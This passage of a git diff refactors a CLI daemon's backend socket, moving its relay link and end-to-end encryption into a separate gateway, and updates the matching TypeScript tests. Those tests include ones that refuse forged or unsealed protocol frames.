BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:fork', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })@@ -2600,7 +2603,7 @@ describe('agent_restart RPC', () => {}function localSocket(): { socket: BackendSocket; frames: Array<Record<string, unknown>> } {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)bindAgentList(socket)const frames: Array<Record<string, unknown>> = []@@ -2875,19 +2878,19 @@ describe('Grok session_get history', () => {})describe('adapter-ws dial url', () => {- const dialUrl = (socket: BackendSocket): string => (socket as unknown as { url: string }).url+ const dialUrl = (socket: BackendSocket): string => upstreamOf(socket).urlit('carries the machine id this daemon still holds, so a revoked one gets 403 not a new machine', () => {const machineId = 'b'.repeat(32)- expect(dialUrl(new BackendSocket(machineId, undefined, () => {}, 'computer-1')))+ expect(dialUrl(relaySocket(machineId, undefined, () => {}, 'computer-1'))).toContain(`&machine=${machineId}`)})it('omits the claim when the first argument is a test token rather than a machine id', () => {// Constructed without an AuthSessionManager, the first argument is a token — sending it as a// machine id would be a lie the backend then has to reject.- expect(dialUrl(new BackendSocket('token', undefined, () => {}, 'computer-1'))).not.toContain('&machine=')+ expect(dialUrl(relaySocket('token', undefined, () => {}, 'computer-1'))).not.toContain('&machine=')})})@@ -2906,7 +2909,7 @@ describe('agent_retarget clearGrid', () => {async function retarget(payload: Record<string, unknown>) {const seen: Array<{ agentId: string; grid: unknown }> = []- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.onRetargetAgent = async (input) => { seen.push(input); return { ok: true } }socket.connect()const ws = wsMock.instances[0]@@ -2961,7 +2964,7 @@ describe('agent_retarget onto a Local model resolves web tools', () => {async function retargetOntoLocalModel(model: string) {const seen: Array<{ agentId: string; grid: unknown }> = []- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.onRetargetAgent = async (input) => { seen.push(input); return { ok: true } }socket.connect()const ws = wsMock.instances[0]@@ -3032,7 +3035,7 @@ describe('agent_create with a prompt, a name and a named agent', () => {}async function create(choices: Record<string, unknown>) {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:named', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })@@ -3131,7 +3134,7 @@ describe('grid_models_list says whether this machine has a grid CLI', () => {})async function listModels(): Promise<Record<string, unknown> | undefined> {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')serveModels(socket)socket.connect()const ws = wsMock.instances[0]@@ -3163,7 +3166,7 @@ describe('grid is set up on demand — by an act, never by a read', () => {* local model's Get and Use are the models service's (services/models.spec.ts); a Grid harness command* and a move onto a grid model are the socket's. */function daemon(ready: GridAttachResult = READY) {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.deriveGridName = async () => 'kelvin-1a2b3c4d'const ensureGrid = vi.fn(async (_request?: { ownGrid?: boolean }) => ready)socket.ensureGrid = ensureGrid@@ -3215,7 +3218,7 @@ describe('the connect burst with no network', () => {// two behind it past the app's 10s timeout — on which the app forced a reconnect and asked all// three again, for as long as the wifi stayed off. The terminal on the same computer read// "offline" the whole time.- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindAgentList(socket)socket.deriveGridName = () => new Promise<null>(() => {}) // a grid read that never lands// A vendor that never answers, asked of the usage service beside models.@@ -3239,7 +3242,7 @@ describe('machine_meta carries the grid name without clobbering it on rename', (afterEach(() => { wsMock.instances.length = 0 })it('keeps the grid name when a later rename frame omits gridName, and clears it only on an explicit null', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')// Frames are processed through a queue, so `onMachineMeta` is how a test knows one has landed.const namesSeen: Array<string | null> = []socket.onMachineMeta = (n) => { namesSeen.push(n) }@@ -3266,7 +3269,7 @@ describe('machine_meta carries the grid name without clobbering it on rename', (})it("keeps the machine's own name, for the models it serves — a rename updates it, a frame without one does not", async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const namesSeen: Array<string | null> = []socket.onMachineMeta = (n) => { namesSeen.push(n) }socket.connect()@@ -3284,7 +3287,7 @@ describe('machine_meta carries the grid name without clobbering it on rename', (})it('refuses a machine_meta that arrived over the LOCAL socket — only the backend may name the grid', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const namesSeen: Array<string | null> = []socket.onMachineMeta = (n) => { namesSeen.push(n) }socket.connect()@@ -3310,7 +3313,7 @@ describe('machine_meta carries the grid name without clobbering it on rename', (})it('refuses a machine_revoked over the LOCAL socket — one frame would otherwise sign this computer out', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')let revoked = 0socket.onRevoked = () => { revoked += 1 }socket.connect()@@ -3333,9 +3336,9 @@ describe('machine_meta carries the grid name without clobbering it on rename', (})it('says whose key a device-key-log removal spent before signing out, and nothing for a plain revoke', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const order: string[] = []- socket.onDeviceRemoved = (pub) => { order.push(`removed:${pub}`) }+ gatewayOf(socket).onDeviceRemoved = (pub) => { order.push(`removed:${pub}`) }socket.onRevoked = () => { order.push('revoked') }socket.connect()const ws = wsMock.instances.at(-1)!@@ -3344,9 +3347,9 @@ describe('machine_meta carries the grid name without clobbering it on rename', (await vi.waitFor(() => expect(order).toEqual(['removed:PUB', 'revoked']))await socket.stop()- const plain = new BackendSocket('token')+ const plain = relaySocket('token')let removed = 0- plain.onDeviceRemoved = () => { removed += 1 }+ gatewayOf(plain).onDeviceRemoved = () => { removed += 1 }plain.onRevoked = () => {}plain.connect()const ws2 = wsMock.instances.at(-1)!@@ -3361,12 +3364,12 @@ describe('machine_meta carries the grid name without clobbering it on rename', (// A reinstall that kept the computer id finds its machine id held by the old install's key// (device_conflict). Removing that key makes the backend send `machine_revoked` to the machine id —// which this daemon now answers for. That removal is what lets this key register, not a sign-out.- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const seen: string[] = []- socket.isOwnDeviceKey = (pub) => pub === 'MINE'- socket.onDeviceRemoved = (pub) => { seen.push(`removed:${pub}`) }+ gatewayOf(socket).isOwnDeviceKey = (pub) => pub === 'MINE'+ gatewayOf(socket).onDeviceRemoved = (pub) => { seen.push(`removed:${pub}`) }socket.onRevoked = () => { seen.push('revoked') }- socket.onDeviceKeysChanged = () => { seen.push('reread') }+ gatewayOf(socket).onDeviceKeysChanged = () => { seen.push('reread') }socket.connect()const ws = wsMock.instances.at(-1)!ws.open()@@ -3378,9 +3381,9 @@ describe('machine_meta carries the grid name without clobbering it on rename', (await socket.stop()// A plain revoke (the machine deleted) still ends the sign-in whatever the key.- const plain = new BackendSocket('token')+ const plain = relaySocket('token')let revoked = 0- plain.isOwnDeviceKey = () => false+ gatewayOf(plain).isOwnDeviceKey = () => falseplain.onRevoked = () => { revoked += 1 }plain.connect()const ws2 = wsMock.instances.at(-1)!@@ -3395,32 +3398,32 @@ describe('machine_meta carries the grid name without clobbering it on rename', (describe('Autonomous direct isolation from existing relay/browser behavior', () => {it('permits offline PAKE only for the exact live direct pending connection', async () => {- const backend = new BackendSocket('direct-offline-test')+ const backend = relaySocket('direct-offline-test')const send = vi.fn()- backend.attachDirectDevice('autonomous-direct:test', send)+ gatewayOf(backend).attachDirectDevice('autonomous-direct:test', send)const pairId = Buffer.alloc(16, 1).toString('base64')- backend.e2ee.handleFrame('browser', { type: 'e2e_pair_intent', payload: { pairId, role: 'web', label: 'Browser' } })- expect(await backend.pair('K7P4X9')).toEqual({ ok: false, error: 'BACKEND_DOWN' })- await backend.receiveDirectDevice('autonomous-direct:test', { type: 'e2e_pair_intent', payload: { pairId, role: 'device', label: 'Autonomous device' } }, true)- const paired = backend.pair('K7P4X9')+ gatewayOf(backend).e2ee.handleFrame('browser', { type: 'e2e_pair_intent', payload: { pairId, role: 'web', label: 'Browser' } })+ expect(await gatewayOf(backend).pair('K7P4X9')).toEqual({ ok: false, error: 'BACKEND_DOWN' })+ await gatewayOf(backend).receiveDirectDevice('autonomous-direct:test', { type: 'e2e_pair_intent', payload: { pairId, role: 'device', label: 'Autonomous device' } }, true)+ const paired = gatewayOf(backend).pair('K7P4X9')expect(send).toHaveBeenCalledWith(expect.objectContaining({ type: 'e2e_pake' }))- await backend.receiveDirectDevice('autonomous-direct:test', { type: 'e2e_pair_cancel', payload: { pairId } }, true)+ await gatewayOf(backend).receiveDirectDevice('autonomous-direct:test', { type: 'e2e_pair_cancel', payload: { pairId } }, true)expect(await paired).toEqual({ ok: false, error: 'CANCELLED' })- backend.detachDirectDevice('autonomous-direct:test')+ gatewayOf(backend).detachDirectDevice('autonomous-direct:test')})it('never dispatches setup/password/admin/terminal frames from a discovered endpoint', async () => {- const backend = new BackendSocket('direct-whitelist-test')- backend.attachDirectDevice('autonomous-direct:test', vi.fn())- const handle = vi.spyOn(backend.e2ee, 'handleFrame').mockReturnValue(true)+ const backend = relaySocket('direct-whitelist-test')+ gatewayOf(backend).attachDirectDevice('autonomous-direct:test', vi.fn())+ const handle = vi.spyOn(gatewayOf(backend).e2ee, 'handleFrame').mockReturnValue(true)for (const type of ['e2e_setup_claim', 'e2e_pw_pair_intent', 'e2e_pw_pake', 'terminal_open', 'machine_revoked', '__clients']) {- await backend.receiveDirectDevice('autonomous-direct:test', { type, payload: {} }, true)+ await gatewayOf(backend).receiveDirectDevice('autonomous-direct:test', { type, payload: {} }, true)}expect(handle).not.toHaveBeenCalled()- await backend.receiveDirectDevice('autonomous-direct:test', { type: 'e2e_pair_intent', payload: {} }, false)+ await gatewayOf(backend).receiveDirectDevice('autonomous-direct:test', { type: 'e2e_pair_intent', payload: {} }, false)expect(handle).not.toHaveBeenCalled()- await backend.receiveDirectDevice('autonomous-direct:test', { type: 'e2e_hello', payload: {} }, false)+ await gatewayOf(backend).receiveDirectDevice('autonomous-direct:test', { type: 'e2e_hello', payload: {} }, false)expect(handle).toHaveBeenCalledOnce()- backend.detachDirectDevice('autonomous-direct:test')+ gatewayOf(backend).detachDirectDevice('autonomous-direct:test')})})@@ -3430,17 +3433,17 @@ describe('agent_recent replies', () => {const events = [1, 2, 3].map((turn) => ({ kind: 'summary', text: `body ${turn}`, recap: `recap ${turn}`, fullText: answer(turn) }))async function recentReplyFor(role: 'web' | 'device') {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')// The recaps module's answer (core/turns/recaps.ts); what this checks is the socket's fitting of it.socket.agentRecentProvider = () => ({ agentId: 'a1', events, asks: ['which llama.cpp build is this?'] })socket.connect()const ws = wsMock.instances.at(-1)!ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_recent', payload: { requestId: 'recent-1', agentId: 'a1', n: 3 } })- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- vi.spyOn(socket.e2ee, 'sessionRole').mockReturnValue(role)- vi.spyOn(socket.e2ee, 'rpcReplyFrameBytes').mockImplementation((_c, _t, _r, payload) => Buffer.byteLength(JSON.stringify(payload)))- const wrapReply = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_recent', payload: { requestId: 'recent-1', agentId: 'a1', n: 3 } })+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue(role)+ vi.spyOn(gatewayOf(socket).e2ee, 'rpcReplyFrameBytes').mockImplementation((_c, _t, _r, payload) => Buffer.byteLength(JSON.stringify(payload)))+ const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'agent_recent_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },})ws.message({ t: 'down', connId: 'conn-1', frame: { type: 'agent_recent', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } } })@@ -3472,7 +3475,7 @@ describe('machines_changed relay', () => {})it('hands the backend\'s machines_changed to the window, and only the backend\'s', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:machines', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })socket.connect()@@ -3489,7 +3492,7 @@ describe('machines_changed relay', () => {})it('relays a reason it can show and nothing else from the payload', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:machines', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })socket.connect()@@ -3504,7 +3507,7 @@ describe('machines_changed relay', () => {describe('local terminal focus', () => {it('passes a registered window\'s focus to its terminals, and ignores a connection it never registered', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const setFocusedAgent = vi.fn()socket.setTerminalStreamManager({setFocusedAgent,@@ -3534,11 +3537,11 @@ describe('question_response reports what became of the answer', () => {})function harness() {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const frames: Array<{ type: string; payload: Record<string, unknown> }> = []socket.registerLocalClient('local:hn', { sendFrame: (frame) => { frames.push(frame as { type: string; payload: Record<string, unknown> }); return true }, sendBinary: () => true })const dispatch = (payload: Record<string, unknown>) =>- (socket as any).dispatchDown({ type: 'question_response', payload }, 'local:hn', 'local') as Promise<void>+ dispatchDown(socket, { type: 'question_response', payload }, 'local:hn', 'local') as Promise<void>const results = () => frames.filter((f) => f.type === 'question_response_result')return { socket, dispatch, results }}@@ -3579,7 +3582,7 @@ describe('question_response reports what became of the answer', () => {// A dial, a phone, or another machine relaying for its app answered over the relay. What became of// that answer is its business: broadcast, every window here and every web client of this machine was// handed a `question_response_result` for an answer it never gave, in the clear.- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const windowFrames: Array<{ type: string }> = []socket.registerLocalClient('local:window', { sendFrame: (frame) => { windowFrames.push(frame as { type: string }); return true }, sendBinary: () => true })const stale = { ok: false as const, error: 'STALE_QUESTION' as const, detail: 'That question changed before your answer arrived.' }@@ -3588,8 +3591,8 @@ describe('question_response reports what became of the answer', () => {socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'hasSession').mockImplementation((connId: string) => connId === 'dial-1')- const wrapReply = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockImplementation((connId: string) => connId === 'dial-1')+ const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'question_response_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } },})@@ -3614,12 +3617,12 @@ describe('question_response reports what became of the answer', () => {it('still answers only that connection when its session is gone by the time the answer is typed', async () => {// Keying a dialog takes seconds; the answerer can drop in between. Nothing to seal with then — it gets a// bare error, addressed to it, and nobody else hears anything.- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindQuestionResponse(socket, vi.fn(async () => ({ ok: true as const })))socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(false)+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(false)ws.message(sealedDown(socket, 'phone-1', 'question_response', { requestId: 'q_1', agentId: 'a1', answers: { q: 'Tea' } }))await vi.waitFor(() => {const results = parseSent(ws).filter((item) => (item.frame as { type?: string } | undefined)?.type === 'question_response_result')@@ -3638,14 +3641,15 @@ describe('relay down-frames are default-deny: sealed, or the backend\'s own', ()afterEach(() => vi.restoreAllMocks())function harness() {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const internals = socket as anyconst replies: Array<{ connId: string; type: string; payload: Record<string, unknown> }> = []- vi.spyOn(internals, 'emitReply').mockImplementation((connId: unknown, type: unknown, _rid: unknown, payload: unknown) => {+ // Every reply to a remote client leaves through the gateway, the core's and the gateway's own refusals alike.+ vi.spyOn(gatewayOf(socket), 'reply').mockImplementation((connId: unknown, type: unknown, _rid: unknown, payload: unknown) => {replies.push({ connId: connId as string, type: type as string, payload: payload as Record<string, unknown> })})const dispatch = (frame: Record<string, unknown>, connId: string, transport: 'relay' | 'local' | 'p2p' = 'relay') =>- internals.dispatchDown(frame, connId, transport) as Promise<void>+ dispatchDown(socket, frame, connId, transport) as Promise<void>return { socket, internals, replies, dispatch }}@@ -3670,7 +3674,7 @@ describe('relay down-frames are default-deny: sealed, or the backend\'s own', ()const { socket, internals, dispatch } = harness()const onMessage = vi.fn()bindMessageRequest(socket, onMessage)- vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue(null)+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(null)await dispatch({ type: 'message', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'forged' } } }, 'web-1')expect(onMessage).not.toHaveBeenCalled()})@@ -3703,7 +3707,7 @@ describe('relay down-frames are default-deny: sealed, or the backend\'s own', ()const { socket, replies, dispatch } = harness()const core = fakeCore()serveOn(socket, host => host.serve('shell', startShell, core, SHELL_REQUESTS))- vi.spyOn(socket.e2ee, 'sessionRole').mockReturnValue('device')+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('device')await dispatch(sealedDown(socket, 'device-1', type, { requestId: 'r', owner: true }).frame, 'device-1')await vi.waitFor(() => expect(replies).toEqual([{ connId: 'device-1', type, payload: { error: 'OWNER_REQUIRED' } }]))expect(core.terminals.open).not.toHaveBeenCalled()@@ -3762,7 +3766,7 @@ describe('relay down-frames are default-deny: sealed, or the backend\'s own', ()const { socket, dispatch } = harness()const onMachineMeta = vi.fn()socket.onMachineMeta = onMachineMeta- const unwrap = vi.spyOn((socket as any).e2ee, 'unwrapDown')+ const unwrap = vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown')await dispatch(sealedDown(socket, 'web-1', 'machine_meta', { name: 'x', gridName: 'attacker-grid' }).frame, 'web-1')await dispatch(sealedDown(socket, 'web-1', '__clients', { commander: 9 }).frame, 'web-1')expect(onMachineMeta).not.toHaveBeenCalled()diff --git a/cli/src/backendSocket.ts b/cli/src/backendSocket.tsindex 7d3c3a44a..1e42234ee 100644--- a/cli/src/backendSocket.ts+++ b/cli/src/backendSocket.ts@@ -1,37 +1,27 @@import type { PurgeAgentService } from './lib/purgeAgentService.js'import { baseNode } from './harnessd/baseNode.js'-import type { Asker, PromptScopes } from './core/api.js'+import type { Asker, BackendNotice, GatewayEvents, GatewayPort, PromptScopes, RemoteClient, RemoteRole, RemoteTransport } from './core/api.js'import { ServiceUnavailableError } from './core/serviceHost.js'import type { ActivityFrame } from './lib/turnActivity.js'import { MonitorCompletions } from './lib/harnessMonitor.js'import type { HarnessShareOwner } from './sharing/owner.js'import { SHARE_REQUEST_TYPES } from './sharing/protocol.js'-import { AutonomousDeviceRelay } from './lib/autonomous-device/relay.js'-import { deviceDump } from './lib/autonomous-device/dump.js'-import type { AutonomousDeviceService, AutonomousDeviceFrame } from './lib/autonomous-device/service.js'/**- * BackendSocket — the CLI's dial-out connection to the backend's `/api/adapter-ws`.+ * BackendSocket — the clients' hub and the request dispatch: the windows and tools on this computer+ * (localWsServer.ts), and the remote clients the gateway hands on (gateway/gateway.ts), each in its own+ * order, behind one gate until the daemon is ready.*- * The adapter occupies the NODE side of its agentId on the backend hub:- * - `up` { t:'up', frame } → normalized claude events + `<x>_result` RPC replies- * - `down` { t:'down', connId, frame } → web chat/control + data-plane RPC requests- *- * Mirrors the hosted runtime’s managerSocket: idempotent connect, exponential backoff (1s→30s),- * WS liveness (`lib/wsLiveness.ts`: ping every 20s, 60s deadline on silence) + a 15s app-level- * `{t:'ping'}` that refreshes the backend presence key, and a bounded FIFO queue for client-facing- * outbound frames.- *- * Auth: the SSO access token rides as the first WS subprotocol.+ * It holds no link and no key. The backend link, the E2EE sessions, the terminals' P2P channels and the+ * Wi-Fi device's direct links are the gateway's (the core boundary, step 10, R1:+ * docs/design/2026-10-06-core-boundary-next.md): a remote client's request reaches this socket opened,+ * with the role its session proved, and everything this socket has for a remote client leaves through+ * the gateway, which seals it.*/-import { WebSocket } from 'ws'-import { BACKEND_IDLE_DEADLINE_MS, watchSocketLiveness, type LivenessWatch } from './lib/wsLiveness.js'import { existsSync } from 'node:fs'import { join } from 'path'import { hostname, homedir } from 'os'import { env } from './config/env.js'-import { AuthSessionManager, AuthSessionError } from './lib/authSession.js'-import { VERSION } from './version.js'import { registry, projectDisplayName, type RegisteredSession } from './lib/registry.js'import type { CloseAgentService } from './lib/closeAgentService.js'import { isHiddenBuiltin } from './dsh/builtinIds.js'@@ -70,111 +60,25 @@ import { ViewerForwarder } from './lib/viewerForwarder.js'import { InteractiveViewers } from './lib/interactiveViewer.js'import { OwnerCommands, OWNER_COMMAND_TYPES } from './lib/ownerCommands.js'import { VIEWER_DOWN_TYPES } from './lib/viewerWire.js'-import { E2eeManager, type LinkedPeer, type PairResult } from './lib/e2ee/manager.js'-import { MachinePeerStore } from './lib/e2ee/machinePeers.js'import type { TerminalStreamManager } from './lib/terminalStreamManager.js'-import {- decodeTerminalHop,- encodeTerminalLocal,- encodeTerminalHop,- TerminalHopDirection,- type TerminalBinaryClear,-} from './lib/terminalBinary.js'-import { b64d, fingerprint, isWrapped } from './lib/e2ee/core.js'-import { encryptRpcResult, PAIR_REQUESTS, PLATE_REQUEST, rpcResultType } from './lib/e2ee/applicationFrames.js'-import { DEVICE_RECENT_SAFE_FRAME_BYTES, fitRecentReplyPayloadForDevice } from './lib/deviceRecentTrim.js'-import { shouldReplayCommander } from './lib/commanderReplay.js'+import { encodeTerminalLocal, type TerminalBinaryClear } from './lib/terminalBinary.js'+import { PAIR_REQUESTS, PLATE_REQUEST, rpcResultType } from './lib/e2ee/applicationFrames.js'+import { BACKEND_ONLY_DOWN_TYPES, GATEWAY_REQUEST_TYPES, isLocalClientId, logSafeType, type DownTransport } from './lib/relayFrames.js'import { sid, logFrame } from './lib/log.js'-import {- TerminalP2pResponderPool,- TERMINAL_P2P_DOWN_TYPES,- TERMINAL_P2P_SIGNAL_TYPES,- type TerminalP2pData,- type TerminalP2pSignal,-} from './lib/terminalP2p.js'--const APP_PING_MS = 15_000-// Floor between two `app_presence` up-frames while a window is attached. Rides the 15s app-ping-// tick; the backend only needs to hear about it about once a minute (it floors its own Mongo write-// at five). `open` is never held back — it is the one that counts as a session in-// `user_daily_presence`.-const APP_PRESENCE_UP_MS = 60_000-// How long the opening handshake may take before the attempt is abandoned and retried. `ws` waits-// forever by default, and the heartbeat below only starts on 'open' — so a TCP connection that came-// up while the network was flapping but never got its upgrade answered sat in CONNECTING for hours,-// `this.ws` set, every later connect() returning early, and the daemon reporting "cloud-// reconnecting…" until someone restarted it.-const HANDSHAKE_TIMEOUT_MS = 15_000-const BASE_DELAY_MS = 1_000-const MAX_DELAY_MS = 30_000-const QUEUE_MAX = 2_000++export { isLocalClientId, type DownTransport }+/** Requests one local connection may queue before the daemon is ready (see `openRequests`). The app* sends a handful on connect; hundreds is a client looping, not a person. */const MAX_REQUESTS_BEFORE_READY = 256export type Frame = Record<string, unknown>-type OutboundEnvelope = Record<string, unknown>export interface LocalClientSink {sendFrame: (frame: Frame) => booleansendBinary: (frame: Uint8Array) => boolean}-/** A loopback desktop connection (localWsServer.ts), as opposed to a cloud/relay one. */-export function isLocalClientId(connId: string): boolean {- return connId.startsWith('local:')-}--/**- * Where a down-frame came from, carried with it to `dispatchDown`.- *- * `relay` is the backend link and ONLY the backend link; `local` is a process on this machine- * talking to the daemon's local socket; `p2p` is a paired device over its own channel. The- * distinction is a trust boundary, not bookkeeping: a handful of frames are the backend's alone to- * send, and before `local` existed they were accepted from anything that could open the local port.- */-export type DownTransport = 'relay' | 'local' | 'p2p'--/**- * Down-frames only the BACKEND may send, refused from every other transport.- *- * Each one hands the daemon an instruction no client is entitled to give:- * - `machine_meta` names the account's private grid — the inference endpoint every agent on this- * computer is then pointed at. Forged, it redirects the account's work to a grid of the- * sender's choosing. A leftover test script did exactly this by accident once.- * - `machine_revoked` clears the stored SSO session and exits the daemon. Forged, it is a- * one-frame forced sign-out and denial of service.- *- * Neither is sent by any client in this repository — only by `backend/src/lib/adapterWs.ts` and- * `backend/src/services/MachineService.ts` — so there is nothing to stay compatible with. The- * backend blocks its OWN `__`-prefixed control frames from web clients for the same reason; these- * two escaped that rule because they are not `__`-prefixed.- *- * `device_keys_changed` and `devlog_append_result` are the backend's own too (the device key log,- * lib/e2ee/deviceLogSyncer.ts): forged, the first only makes this daemon re-read and verify the log,- * the second could fake an answer to its own append — neither is anything a client should be sending.- */-const BACKEND_ONLY_DOWN_TYPES = new Set(['machine_meta', 'machine_revoked', 'desk_changed', 'zoo_changed', 'machines_changed', 'device_keys_changed', 'devlog_append_result'])--/** A frame type as the sender spelled it, fit for one log line: the relay chooses it, so it is bounded- * and escaped rather than trusted not to carry a newline that forges the next line. */-function logSafeType(type: string): string {- return JSON.stringify(type.length > 64 ? `${type.slice(0, 64)}…` : type)-}--interface QueueItem {- id: number- data: string- msg: OutboundEnvelope- attempts: number-}--interface DownEnvelope {- t: 'down'- connId?: string- frame?: Frame-}-export class BackendSocket {harnessDevices: HarnessDevicesService | null = nullprivate readonly gridFleet = new GridFleetRpc()@@ -185,27 +89,15 @@ export class BackendSocket {* (`grid_models_changed`), so its one picture stays current without polling. */private readonly stopGridModelsPush = onGridModelsChanged(() => { void this.pushGridModels() })private readonly apiConnections = new ApiConnections(env.ADAPTER_DATA_DIR)- private ws: WebSocket | null = null- private connecting = false- /** A 401 on the upgrade is being answered with a token refresh; that refresh owns the next connect. */- private retryingAuth = false- private readonly auth: AuthSessionManager- /** Constructor-without-auth is retained for isolated unit tests only. */- private readonly testToken?: string- private url: string- private attempts = 0+ /** The relay and its E2EE (gateway/gateway.ts): the one way to a remote client. Null in a unit test+ * that has none, which then serves this computer alone. */+ private gatewayPort: GatewayPort | null = null+ /** The core's stop has begun: nothing more is pushed. */private closed = false- private queue: QueueItem[] = []- private draining = false- private nextQueueId = 1- private droppedSinceLog = 0- private heartbeat: LivenessWatch | null = null- private appPing: NodeJS.Timeout | null = null- private lastAppPresenceUpAt = 0- // A window attached while there was no link to tell (cold start: the app dials this daemon before- // the daemon has dialed the backend; or a daemon restart under an open window). The session is- // real and must be counted once, so it is owed to the next link — not turned into a `ping`.- private appOpenOwed = false+ /** Signed out: no frame is handed to the gateway, which would only seal it for a link that never opens. */+ private thisComputerOnly = false+ /** Whether the backend link is up, as the gateway last said. */+ private linkUp = falseprivate readonly downChains = new Map<string, Promise<void>>()/*** Requests wait here until the daemon is ready (`openRequests`), each in its connection's own order.@@ -219,6 +111,9 @@ export class BackendSocket {/** Requests waiting at the gate, per connection: a client that floods a starting daemon is closed. */private readonly waitingAtGate = new Map<string, number>()private readonly localClients = new Map<string, LocalClientSink>()+ /** The remote clients the gateway holds a session with, by connection: what the core reads of them+ * synchronously (the label a terminal is named by), as the gateway last said. */+ private readonly remoteClients = new Map<string, RemoteClient>()/** The last window found gone when a reply for it came: its queued replies come in a burst, said once. */private goneReplyConn = ''/**@@ -228,17 +123,12 @@ export class BackendSocket {*/private readonly toolClients = new Set<string>()private terminalStreams: TerminalStreamManager | null = null- private readonly terminalP2p: TerminalP2pResponderPool- private readonly p2pPendingOpens = new Map<string, Set<string>>()- private readonly p2pStreams = new Map<string, Set<string>>()private onStatus: (connected: boolean) => void- /** Cross-instance commander (device) client count, from backend `__clients` frames. */+ /** Cross-instance commander (device) client count, as the gateway reads it from the backend. */private commanderCount = 0/** Subset of commanderCount whose device is ACTIVELY rendering this machine (multi-attach). null = the* backend doesn't send the signal (old build) → fall back to hasCommander so streaming isn't gated off. */private commanderActive: number | null = null- private replayedCommanderGeneration: number | undefined- private replayCommanderOnNextSnapshot = true/** Called when a commander attach is observed — cli.ts replays live state. */onCommanderJoin: (() => void) | null = null/** Called only when commander presence crosses zero; drives the disposable recap-worker grace. */@@ -302,8 +192,6 @@ export class BackendSocket {onTerminalHandoff: ((tmuxPane: string) => string | null) | null = null/** What the daemon knows about an agent's DSH companions (viewer URL, verdict); null when nothing. */harnessSharing: HarnessShareOwner | null = null- /** Answers the trust group's roster exchange (`group_sync`); null until the daemon wires it. */- groupSync: { handle: (peerPub: string, payload: Record<string, unknown>) => Record<string, unknown> } | null = nullactivityFrameProvider: ((session: RegisteredSession) => ActivityFrame | null) | null = nulldshFrameProvider: ((session: RegisteredSession) => AgentDshContext | null) | null = nullviewerTargetProvider: ((agentId: string) => string | null) | null = null@@ -312,11 +200,7 @@ export class BackendSocket {target: (agentId) => this.viewerTargetProvider?.(agentId) ?? null,send: (connId, type, payload) => {if (this.localClients.has(connId)) { this.sendTo(connId, { type, payload }); return true }- if (!this.isConnected()) return false- const frame = this.e2ee.wrapTarget(connId, type, payload)- if (!frame) return false- this.sendTo(connId, frame)- return true+ return this.throughGateway('viewer', (gateway) => gateway.target(connId, type, payload), false)},})/** Injectable for queue-isolation tests; production uses the machine-local probe. */@@ -535,38 +419,10 @@ export class BackendSocket {/** Answers `theme_set` with the whole reply: the desktop's pane colours, to become this machine's tmux* `window-style` (cli.ts binds core/terminals/requests.ts). Null answers UNSUPPORTED. */themeProvider: ((payload: Record<string, unknown>) => Record<string, unknown>) | null = null- /** The account's device key log grew (lib/e2ee/deviceLogSyncer.ts): re-read it from this machine's head. */- onDeviceKeysChanged: (() => void) | null = null- /** This machine's key was taken out of the account's device key log (`machine_revoked` says so). */- onDeviceRemoved: ((pub: string) => void) | null = null- /** Whether [pub] is this machine's own device key. Set, a `machine_revoked` naming another key (an earlier- * install under the same machine id) does not sign this one out. Null: 